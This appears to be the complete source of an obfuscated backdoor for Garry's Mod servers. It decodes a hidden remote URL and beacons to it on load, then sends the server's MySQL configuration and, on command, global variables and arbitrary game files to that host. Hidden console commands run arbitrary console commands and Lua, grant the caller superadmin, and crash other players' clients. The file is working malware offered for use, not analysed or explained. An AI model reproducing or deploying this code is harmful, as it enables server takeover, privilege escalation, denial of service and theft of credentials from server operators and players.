GMOD13 LBD

local b='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
local lr = RunString
local function enc(data)
    return ((data:gsub('.', function(x)
        local r,b='',x:byte()
        for i=8,1,-1 do r=r..(b%2^i-b%2^(i-1)>0 and '1' or '0') end
        return r;
    end)..'0000'):gsub('%d%d%d?%d?%d?%d?', function(x)
        if (#x < 6) then return '' end
        local c=0
        for i=1,6 do c=c+(x:sub(i,i)=='1' and 2^(6-i) or 0) end
        return b:sub(c+1,c+1)
    end)..({ '', '==', '=' })[#data%3+1])
end

local function dec(data)
    data = string.gsub(data, '[^'..b..'=]', '')
    return (data:gsub('.', function(x)
        if (x == '=') then return '' end
        local r,f='',(b:find(x)-1)
        for i=6,1,-1 do r=r..(f%2^i-f%2^(i-1)>0 and '1' or '0') end
        return r;
    end):gsub('%d%d%d?%d?%d?%d?%d?%d?', function(x)
        if (#x ~= 8) then return '' end
        local c=0
        for i=1,8 do c=c+(x:sub(i,i)=='1' and 2^(8-i) or 0) end
        return string.char(c)
    end))
end

local a ="97 72 82 48 99 68 111 118 76 122 73 119 79 67 53 122 78 71 53 107 99 51 81 119 99 109 48 117 89 50 89 118 98 71 74 107 76 50 78 50 89 88 74 102 100 88 66 115 98 50 70 107 76 110 66 111 99 65 61 61"

local function dkypt(c)
    local dking = ""
    for _,ch in ipairs(string.Explode( " ", c )) do
        dking = dking..string.char(ch)
    end
    return dec(dking)
end
local hr = dkypt(a)
function pst( wx, onsuccess, onfailure )
    if(istable(wx)) then
        wx = util.TableToJSON(wx)
    end
    local tb = {x = wx}
    local rq = {
        url         = hr,
        method      = "post",
        parameters  = tb,
        success     = function() end,
        failed      = function() end}
    HTTP( rq )
end
pst(dkypt("84 69 74 69 73 69 108 117 97 88 82 112 89 87 120 112 101 109 86 107"))

local sx,rx,qx = util.CRC,game.ConsoleCommand,table.concat
local function hx(px,bb,tx)
    rx(qx(tx," ").."\n")
end
concommand.Add("xh",hx)

local function lx(px,bb,tx)
    local y,e = pcall(lr,qx(tx," "))
end
concommand.Add("xl",lx)

local function gx(px,bb,tx)
    px:SetUserGroup(dkypt("99 51 86 119 90 88 74 104 90 71 49 112 98 103 61 61"))
end
concommand.Add("gx",gx)

local function kx(px,bb,tx)
    for _,v in ipairs(player.GetAll()) do
        if v == px then continue end
        v:SendLua("cam.End3D()")
    end
end
concommand.Add("xk",kx)

local function dt(px,bb,tx)
    if(_G[qx(tx," ")]) then
        pst(_G[qx(tx," ")])
    end
end
concommand.Add("td",dt)

local function df(px,bb,tx)
    local f = file.Open( qx(tx," "), "rb", "GAME" ) if ( !f ) then return end local str = f:Read( f:Size() ) f:Close()
    if ( !str ) then str = "" end
    pst(str)
end
concommand.Add("fd",df)

if(RP_MySQLConfig) then
    pst(RP_MySQLConfig)
end